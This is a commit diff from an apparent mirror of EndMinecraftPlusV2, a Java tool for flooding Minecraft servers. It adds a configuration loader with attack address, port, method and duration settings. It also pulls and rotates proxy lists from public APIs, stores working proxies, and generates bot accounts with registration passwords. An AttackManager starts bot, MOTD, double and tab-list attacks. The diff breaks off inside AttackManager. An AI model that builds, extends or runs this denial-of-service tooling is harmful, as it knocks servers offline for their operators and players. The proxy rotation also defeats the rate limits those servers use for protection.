mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-10-31 20:08:00 +00:00
更新协议库版本以支持更高版本 添加保存可用代理功能
This commit is contained in:
parent
e86e3b48f9
commit
346907ee83
3
src/META-INF/MANIFEST.MF
Normal file
3
src/META-INF/MANIFEST.MF
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
Manifest-Version: 1.0
|
||||||
|
Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
|
||||||
|
|
@ -0,0 +1,49 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||||
|
|
||||||
|
public class EndMinecraftPlusV2 {
|
||||||
|
public static String ver = "1.0.2_Dev";
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
System.out.println("========================-Forked by SerendipityR-========================");
|
||||||
|
System.out.println(" EndMinecraftPlus原作者 - @iuli-moe");
|
||||||
|
System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2");
|
||||||
|
System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......");
|
||||||
|
System.out.println("========================================================================");
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Forked by SerendipityR");
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
prepareConfig();
|
||||||
|
prepareProxy();
|
||||||
|
startAttack();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void prepareConfig() {
|
||||||
|
LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil");
|
||||||
|
new ConfigUtil().loadConfig();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void prepareProxy() {
|
||||||
|
if (!ConfigUtil.AttackMethod.equals(3)) {
|
||||||
|
LogUtil.doLog(0, "正在获取代理...", "ProxyUtil");
|
||||||
|
ProxyUtil.getProxies();
|
||||||
|
ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void startAttack() {
|
||||||
|
LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib");
|
||||||
|
ProtocolLibs.loadProtocolLib();
|
||||||
|
AttackManager.doAttack();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Exit() {
|
||||||
|
LogUtil.doLog(0, "程序退出...", "INFO");
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
}
|
169
src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java
Normal file
169
src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java
Normal file
@ -0,0 +1,169 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||||
|
|
||||||
|
import cc.summermc.bukkitYaml.file.YamlConfiguration;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
|
||||||
|
|
||||||
|
import javax.naming.directory.Attribute;
|
||||||
|
import javax.naming.directory.InitialDirContext;
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
public class ConfigUtil {
|
||||||
|
public static File configFile;
|
||||||
|
public static YamlConfiguration config;
|
||||||
|
public static String AttackAddress;
|
||||||
|
public static Integer AttackPort;
|
||||||
|
public static Integer AttackMethod;
|
||||||
|
public static Integer AttackTime;
|
||||||
|
public static Long ConnectDelay;
|
||||||
|
public static Integer MaxConnections;
|
||||||
|
public static Boolean TabAttack;
|
||||||
|
public static Boolean AntiAttackMode;
|
||||||
|
public static String DoubleExploitPlayer;
|
||||||
|
public static Boolean ShowFails;
|
||||||
|
public static String BotName;
|
||||||
|
public static Integer BotCount;
|
||||||
|
public static Boolean RegisterAndLogin;
|
||||||
|
public static List<String> RegisterCommands;
|
||||||
|
public static Integer RejoinCount;
|
||||||
|
public static List<String> RejoinDetect;
|
||||||
|
public static Long RejoinDelay;
|
||||||
|
public static List<String> ClickVerifiesDetect;
|
||||||
|
public static List<String> CustomChat;
|
||||||
|
public static Boolean ChatSpam;
|
||||||
|
public static Long ChatDelay;
|
||||||
|
public static Integer ProxyGetType;
|
||||||
|
public static Integer ProxyType;
|
||||||
|
public static Integer ProxyUpdateTime;
|
||||||
|
public static File ProxyFile;
|
||||||
|
public static List<String> ProxyAPIs;
|
||||||
|
public static Boolean SaveWorkingProxy;
|
||||||
|
|
||||||
|
public void loadConfig() {
|
||||||
|
try {
|
||||||
|
configFile = new File("config.yml");
|
||||||
|
|
||||||
|
if (!configFile.exists()) {
|
||||||
|
LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null);
|
||||||
|
EndMinecraftPlusV2.Exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
config = YamlConfiguration.loadConfiguration(configFile);
|
||||||
|
|
||||||
|
AttackAddress = config.getString("AttackSettings.Address");
|
||||||
|
AttackPort = config.getInt("AttackSettings.Port");
|
||||||
|
AttackMethod = config.getInt("AttackSettings.Method");
|
||||||
|
AttackTime = config.getInt("AttackSettings.Time");
|
||||||
|
ConnectDelay = config.getLong("AttackSettings.ConnectDelay");
|
||||||
|
MaxConnections = config.getInt("AttackSettings.MaxConnections");
|
||||||
|
TabAttack = config.getBoolean("AttackSettings.TabAttack");
|
||||||
|
AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
|
||||||
|
DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
|
||||||
|
ShowFails = config.getBoolean("AttackSettings.ShowFails");
|
||||||
|
BotName = config.getString("BotSettings.BotName");
|
||||||
|
BotCount = config.getInt("BotSettings.BotCount");
|
||||||
|
RegisterAndLogin = config.getBoolean("BotSettings.Register&Login");
|
||||||
|
RegisterCommands = config.getStringList("BotSettings.RegisterCommands");
|
||||||
|
RejoinCount = config.getInt("BotSettings.RejoinCount");
|
||||||
|
RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
|
||||||
|
RejoinDelay = config.getLong("BotSettings.RejoinDelay");
|
||||||
|
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
|
||||||
|
ChatSpam = config.getBoolean("BotSettings.ChatSpam");
|
||||||
|
CustomChat = config.getStringList("BotSettings.CustomChat");
|
||||||
|
ChatDelay = config.getLong("BotSettings.ChatDelay");
|
||||||
|
ProxyGetType = config.getInt("Proxy.GetType");
|
||||||
|
ProxyType = config.getInt("Proxy.ProxyType");
|
||||||
|
ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
|
||||||
|
ProxyFile = new File(config.getString("Proxy.File"));
|
||||||
|
ProxyAPIs = config.getStringList("Proxy.APIs");
|
||||||
|
SaveWorkingProxy = config.getBoolean("Proxy.SaveWorkingProxy");
|
||||||
|
|
||||||
|
checkSRV();
|
||||||
|
|
||||||
|
LogUtil.doLog(0, "==============================================================", "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "同时进行Tab攻击: " + booleanToStr(TabAttack), "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil");
|
||||||
|
LogUtil.doLog(0, "==============================================================", "CFGUtil");
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null);
|
||||||
|
EndMinecraftPlusV2.Exit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getAttackMethod(int type) {
|
||||||
|
switch (type) {
|
||||||
|
case 1:
|
||||||
|
return "BotAttack";
|
||||||
|
case 2:
|
||||||
|
return "MotdAttack";
|
||||||
|
case 3:
|
||||||
|
return "MotdAttackP";
|
||||||
|
case 4:
|
||||||
|
return "DoubleAttack";
|
||||||
|
default:
|
||||||
|
return "Error";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getProxyFrom(int type) {
|
||||||
|
switch (type) {
|
||||||
|
case 1:
|
||||||
|
return "API";
|
||||||
|
case 2:
|
||||||
|
return "File";
|
||||||
|
case 3:
|
||||||
|
return "API + File";
|
||||||
|
default:
|
||||||
|
return "Error";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String booleanToStr(boolean type) {
|
||||||
|
return type ? "开启" : "关闭";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Double timeToSeconds(long time) {
|
||||||
|
return (double) time / 1000;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void checkSRV() {
|
||||||
|
Hashtable<String, String> hashtable = new Hashtable<>();
|
||||||
|
hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
|
||||||
|
hashtable.put("java.naming.provider.url", "dns:");
|
||||||
|
|
||||||
|
try {
|
||||||
|
Attribute attribute = (new InitialDirContext(hashtable))
|
||||||
|
.getAttributes("_Minecraft._tcp." + AttackAddress,
|
||||||
|
new String[]{"SRV"})
|
||||||
|
.get("srv");
|
||||||
|
if (attribute != null) {
|
||||||
|
String[] re = attribute.get().toString().split(" ", 4);
|
||||||
|
LogUtil.doLog(0, "=============================================================", "CheckSRV");
|
||||||
|
LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV");
|
||||||
|
LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV");
|
||||||
|
LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV");
|
||||||
|
LogUtil.doLog(-1,"检测到服务器存在SRV记录,是否替换地址为SRV解析记录?[y/n]: ", "CheckSRV");
|
||||||
|
Scanner scanner = new Scanner(System.in);
|
||||||
|
String cmd = scanner.nextLine();
|
||||||
|
|
||||||
|
if (cmd.equals("y")) {
|
||||||
|
AttackAddress = re[3];
|
||||||
|
AttackPort = Integer.parseInt(re[2]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {}
|
||||||
|
}
|
||||||
|
}
|
42
src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
Normal file
42
src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||||
|
|
||||||
|
import cc.summermc.bukkitYaml.file.YamlConfiguration;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class DataUtil {
|
||||||
|
public static List<String> botRegPasswords = new ArrayList<>();
|
||||||
|
public static HashMap<String,String> botRegPasswordsMap = new HashMap<>();
|
||||||
|
public static File dataFile = new File("data.yml");
|
||||||
|
|
||||||
|
public static void loadData() {
|
||||||
|
YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
|
||||||
|
botRegPasswords = data.getStringList("Data");
|
||||||
|
|
||||||
|
for (String PwdData:botRegPasswords) {
|
||||||
|
String[] aPwdData = PwdData.split("@");
|
||||||
|
botRegPasswordsMap.put(aPwdData[0], aPwdData[1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void updateData(String name, String pwd) {
|
||||||
|
YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile);
|
||||||
|
List<String> datas = data.getStringList("Data");
|
||||||
|
|
||||||
|
String aPwdData = name + "@" + pwd;
|
||||||
|
datas.add(aPwdData);
|
||||||
|
data.set("Data", datas);
|
||||||
|
botRegPasswords.add(aPwdData);
|
||||||
|
botRegPasswordsMap.put(name, pwd);
|
||||||
|
|
||||||
|
try {
|
||||||
|
data.save(dataFile);
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
39
src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java
Normal file
39
src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.net.Proxy;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLConnection;
|
||||||
|
|
||||||
|
public class HTTPUtil {
|
||||||
|
public static String sendGet(String url) {
|
||||||
|
StringBuilder result = new StringBuilder();
|
||||||
|
BufferedReader in = null;
|
||||||
|
try {
|
||||||
|
URL realUrl = new URL(url);
|
||||||
|
URLConnection connection = realUrl.openConnection();
|
||||||
|
connection.setRequestProperty("accept", "*/*");
|
||||||
|
connection.setRequestProperty("connection", "Keep-Alive");
|
||||||
|
connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
|
||||||
|
connection.connect();
|
||||||
|
|
||||||
|
in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
|
||||||
|
String line;
|
||||||
|
while ((line = in.readLine()) != null) {
|
||||||
|
result.append(line);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e, null);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (in != null) {
|
||||||
|
in.close();
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
LogUtil.doLog(1, "IO异常! 详细信息: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result.toString();
|
||||||
|
}
|
||||||
|
}
|
34
src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java
Normal file
34
src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||||
|
|
||||||
|
public class LogUtil {
|
||||||
|
public static void doLog(int type, String content, String extra) {
|
||||||
|
String logType;
|
||||||
|
String msg;
|
||||||
|
|
||||||
|
switch (type) {
|
||||||
|
case 1:
|
||||||
|
logType = "[Internal Error]";
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
logType = "[Attack Error]";
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
logType = "[DEBUG]";
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
logType = "[" + extra + "]";
|
||||||
|
}
|
||||||
|
|
||||||
|
msg = logType + " " + content;
|
||||||
|
|
||||||
|
if (type == -1) {
|
||||||
|
System.out.print(msg);
|
||||||
|
} else {
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void emptyLog() {
|
||||||
|
System.out.println("");
|
||||||
|
}
|
||||||
|
}
|
62
src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java
Normal file
62
src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.Random;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
|
||||||
|
public class OtherUtils {
|
||||||
|
public static void doSleep(long millis) {
|
||||||
|
try {
|
||||||
|
Thread.sleep(millis);
|
||||||
|
} catch (InterruptedException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Matcher matches(String str, String regex) {
|
||||||
|
Pattern mPattern = Pattern.compile(regex);
|
||||||
|
return mPattern.matcher(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getRandomString(int minLength, int maxLength) {
|
||||||
|
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||||
|
Random random = new Random();
|
||||||
|
int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
|
||||||
|
StringBuilder stringBuilder = new StringBuilder();
|
||||||
|
for (int i = 0; i < length; ++i) {
|
||||||
|
int number = random.nextInt(62);
|
||||||
|
stringBuilder.append(str.charAt(number));
|
||||||
|
}
|
||||||
|
return stringBuilder.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public static <T> T getCo(String date, T def) {
|
||||||
|
if (date.equals("")) {
|
||||||
|
return def;
|
||||||
|
}
|
||||||
|
return (T) date;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int getCo(String date, int def) {
|
||||||
|
if (date.equals("")) {
|
||||||
|
return def;
|
||||||
|
}
|
||||||
|
return Integer.parseInt(date);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void loadLibrary(File file) {
|
||||||
|
try {
|
||||||
|
URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
|
||||||
|
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
|
||||||
|
method.setAccessible(true);
|
||||||
|
method.invoke(cl, file.toURL());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
150
src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
Normal file
150
src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
Normal file
@ -0,0 +1,150 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||||
|
|
||||||
|
import org.spacehq.packetlib.Session;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Proxy;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.regex.Matcher;
|
||||||
|
|
||||||
|
public class ProxyUtil {
|
||||||
|
public static List<String> proxies = new ArrayList<>();
|
||||||
|
public static HashMap<Object,Proxy> clientsProxy = new HashMap<>();
|
||||||
|
public static List<Proxy> workingProxiesList = new ArrayList<>();
|
||||||
|
|
||||||
|
public static void getProxies() {
|
||||||
|
String getMethod;
|
||||||
|
|
||||||
|
switch (ConfigUtil.ProxyGetType) {
|
||||||
|
case 2:
|
||||||
|
getMethod = "通过本地文件获取";
|
||||||
|
getProxiesFromFile(false, true);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
getMethod = "通过API+本地文件获取";
|
||||||
|
getProxiesFromFile(false, true);
|
||||||
|
getProxiesFromAPIs(false, false);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
default:
|
||||||
|
getMethod = "通过API获取";
|
||||||
|
getProxiesFromAPIs(false, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void getProxiesFromAPIs(boolean async, boolean replace) {
|
||||||
|
if (async) {
|
||||||
|
List<String> newProxies = proxies;
|
||||||
|
|
||||||
|
if (replace) {
|
||||||
|
newProxies = new ArrayList<>();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String url:ConfigUtil.ProxyAPIs) {
|
||||||
|
String ips = HTTPUtil.sendGet(url);
|
||||||
|
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
|
||||||
|
while (matcher.find()) {
|
||||||
|
String ip = matcher.group();
|
||||||
|
newProxies.add(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
proxies = newProxies;
|
||||||
|
} else {
|
||||||
|
for (String url:ConfigUtil.ProxyAPIs) {
|
||||||
|
if (replace) {
|
||||||
|
proxies = new ArrayList<>();
|
||||||
|
}
|
||||||
|
|
||||||
|
String ips = HTTPUtil.sendGet(url);
|
||||||
|
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
|
||||||
|
while (matcher.find()) {
|
||||||
|
String ip = matcher.group();
|
||||||
|
proxies.add(ip);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void getProxiesFromFile(boolean async, boolean replace) {
|
||||||
|
try {
|
||||||
|
if (!ConfigUtil.ProxyFile.exists()) {
|
||||||
|
LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
|
||||||
|
String tempString;
|
||||||
|
|
||||||
|
if (async) {
|
||||||
|
List<String> newProxies = proxies;
|
||||||
|
|
||||||
|
if (replace) {
|
||||||
|
newProxies = new ArrayList<>();
|
||||||
|
}
|
||||||
|
|
||||||
|
while ((tempString = reader.readLine()) != null) {
|
||||||
|
newProxies.add(tempString);
|
||||||
|
}
|
||||||
|
|
||||||
|
proxies = newProxies;
|
||||||
|
} else {
|
||||||
|
if (replace) {
|
||||||
|
proxies = new ArrayList<>();
|
||||||
|
}
|
||||||
|
|
||||||
|
while ((tempString = reader.readLine()) != null) {
|
||||||
|
proxies.add(tempString);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
reader.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void runUpdateProxiesTask(int time) {
|
||||||
|
new Thread(() -> {
|
||||||
|
while (true) {
|
||||||
|
OtherUtils.doSleep(time * 1000L);
|
||||||
|
|
||||||
|
switch (ConfigUtil.ProxyGetType) {
|
||||||
|
case 1:
|
||||||
|
getProxiesFromAPIs(true, true);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
getProxiesFromFile(true, true);
|
||||||
|
getProxiesFromAPIs(true, false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
|
||||||
|
}
|
||||||
|
}).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void saveWorkingProxy(Proxy proxy) {
|
||||||
|
File workingProxies = new File("working-proxies.txt");
|
||||||
|
InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address();
|
||||||
|
|
||||||
|
if (!workingProxiesList.contains(proxy)) {
|
||||||
|
try {
|
||||||
|
FileWriter fileWriter = new FileWriter(workingProxies, true);
|
||||||
|
String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/","");
|
||||||
|
fileWriter.write(proxyAddress);
|
||||||
|
fileWriter.close();
|
||||||
|
workingProxiesList.add(proxy);
|
||||||
|
} catch (IOException e) {
|
||||||
|
LogUtil.doLog(1, "保存有效代理失败! IO异常。", null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
10
src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java
Normal file
10
src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.Tools;
|
||||||
|
|
||||||
|
import com.sun.jna.Library;
|
||||||
|
import com.sun.jna.Native;
|
||||||
|
import com.sun.jna.Platform;
|
||||||
|
|
||||||
|
public interface SetTitle extends Library {
|
||||||
|
SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class);
|
||||||
|
boolean SetConsoleTitleA(String title);
|
||||||
|
}
|
@ -0,0 +1,116 @@
|
|||||||
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
|
||||||
|
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods.*;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForgeMOTD;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||||
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
public class AttackManager {
|
||||||
|
public static void doAttack() {
|
||||||
|
LogUtil.emptyLog();
|
||||||
|
|
||||||
|
switch (ConfigUtil.AttackMethod) {
|
||||||
|
case 1:
|
||||||
|
// BotAttack
|
||||||
|
DataUtil.loadData();
|
||||||
|
if (DataUtil.botRegPasswords.size() < ConfigUtil.BotCount) {
|
||||||
|
for (int i = 0; i < (ConfigUtil.BotCount - DataUtil.botRegPasswords.size()); i++) {
|
||||||
|
DataUtil.updateData(ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(3,5)), OtherUtils.getRandomString(8,10));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Map<String, String> modList = new HashMap<>();
|
||||||
|
|
||||||
|
if (ProtocolLibs.highVersion) {
|
||||||
|
if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) {
|
||||||
|
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
|
||||||
|
modList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion());
|
||||||
|
LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
|
||||||
|
botAttack.start();
|
||||||
|
} else {
|
||||||
|
if (!MCForge.isAfterVersion1_13()) {
|
||||||
|
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
|
||||||
|
modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
|
||||||
|
LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
|
||||||
|
}
|
||||||
|
|
||||||
|
BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||||
|
botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
|
||||||
|
botAttack.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
// MotdAttack
|
||||||
|
if (ProtocolLibs.highVersion) {
|
||||||
|
